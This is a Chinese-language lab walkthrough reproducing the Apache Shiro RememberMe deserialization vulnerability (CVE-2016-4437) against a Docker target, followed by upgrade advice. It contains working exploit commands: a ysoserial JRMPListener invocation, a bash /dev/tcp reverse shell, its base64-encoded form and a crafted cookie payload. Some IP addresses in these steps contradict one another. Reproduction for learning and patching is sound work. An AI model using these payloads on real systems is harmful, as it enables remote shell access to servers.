0x01简介

这个漏洞属于java反序列化漏洞的一种,shiro是java的一个开发框架执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
官网漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:
获取rememberMe cookie
base64 decode
解密AES
反序列化
但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,***者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Apache Shiro 反序列化(CVE-2016-4437)复现_第1张图片

0x02影响版本

Apache Shiro <= 1.2.4

0x03环境搭建

小受:kali2020 192.168.10.161 服务器
小攻:kali2019 192.168.10.215 ***机
我们使用docker搭建环境搭建
docker pull medicean/vulapps:s_shiro_1
Apache Shiro 反序列化(CVE-2016-4437)复现_第2张图片
启动docker镜像:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
Apache Shiro 反序列化(CVE-2016-4437)复现
在浏览器访问http://ip:8080测试环境是否搭建成功
Apache Shiro 反序列化(CVE-2016-4437)复现_第3张图片
服务器搭建完成
搭建***机环境需要java8环境
Java8安装教程:https://www.cnblogs.com/longgang/p/12956079.html
Java8安装完成后使用java -version 查看
Apache Shiro 反序列化(CVE-2016-4437)复现
安装mvn
wget http://mirrors.hust.edu.cn/apache/maven/maven-3/3.3.9/binaries/apache-maven-3.3.9-bin.tar.gz //使用wget下载
Apache Shiro 反序列化(CVE-2016-4437)复现_第4张图片
使用tar -zxvf apache-maven-3.3.9-bin.tar.gz
Apache Shiro 反序列化(CVE-2016-4437)复现_第5张图片
mv apache-maven-3.3.9 /usr/local/ //移动到usr下local目录
vim /etc/profile 配置环境变量,在底部添加如下配置
Apache Shiro 反序列化(CVE-2016-4437)复现_第6张图片
source /etc/profile //重新加载环境变量
mvn -v //检查是否安装成功
Apache Shiro 反序列化(CVE-2016-4437)复现_第7张图片

0x04漏洞复现

下载漏洞复现所需要用到的ysoserial工具
git clone https://github.com/frohoff/ysoserial.git
Apache Shiro 反序列化(CVE-2016-4437)复现_第8张图片
cd ysoserial //进入目录
mvn package -D skipTests
Apache Shiro 反序列化(CVE-2016-4437)复现_第9张图片
生成的工具就是/ysoserial/target/目录下的ysoserial-0.0.6-SNAPSHOT-all.jar文件
Apache Shiro 反序列化(CVE-2016-4437)复现
访问漏洞靶场使用burp抓包,判断环境是否存在shiro。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段,要勾选Remember Me选项。然后进行抓包
Apache Shiro 反序列化(CVE-2016-4437)复现_第10张图片
Apache Shiro 反序列化(CVE-2016-4437)复现_第11张图片
抓到包发送到repeater,重放即可看到cookie是否存在rememberMe=deleteMe字段
Apache Shiro 反序列化(CVE-2016-4437)复现_第12张图片

然后在***机执行以下命令:(这里监听的端口是1086)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 "bash命令"
然后我们来构造payload来进行反弹shell的操作,写好反弹shell的命令
bash -i >& /dev/tcp/192.168.10.215/4444 0>&1
然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html)
Apache Shiro 反序列化(CVE-2016-4437)复现_第13张图片
最终在***机上执行的命令如下:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjE2MS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
Apache Shiro 反序列化(CVE-2016-4437)复现
使用shiro.py生成payload,需要python2的环境

python shiro.py 192.168.10.161:1086 //***机的ip地址和java监听端口
注:shiro.py需要和ysoserial放在同一个目录下
Apache Shiro 反序列化(CVE-2016-4437)复现
然后在***机监听4444端口,等待shell反弹
Apache Shiro 反序列化(CVE-2016-4437)复现
然后在burp抓取的数据包中的cookie字段内添加刚生成的payload,然后将数据包放行
Apache Shiro 反序列化(CVE-2016-4437)复现_第14张图片
数据包发送之后查看***机中java监听接口和nc监听端口结果显示如下图
Apache Shiro 反序列化(CVE-2016-4437)复现_第15张图片
Apache Shiro 反序列化(CVE-2016-4437)复现_第16张图片
可以看到服务器的shell已经反弹到了***机上。可能有的会奇怪为什么这里反弹回来的shell的名字这么奇怪,那是因为我们复现环境的时候用的是docker,所以会创建一个以CONTAINER ID命名的账户
Apache Shiro 反序列化(CVE-2016-4437)复现
0x05修复方式
升级shiro版本到1.2.5及以上,并且不要使用一些已经被公开的密钥,要利用官方提供的方法生成自己的AES加密密钥。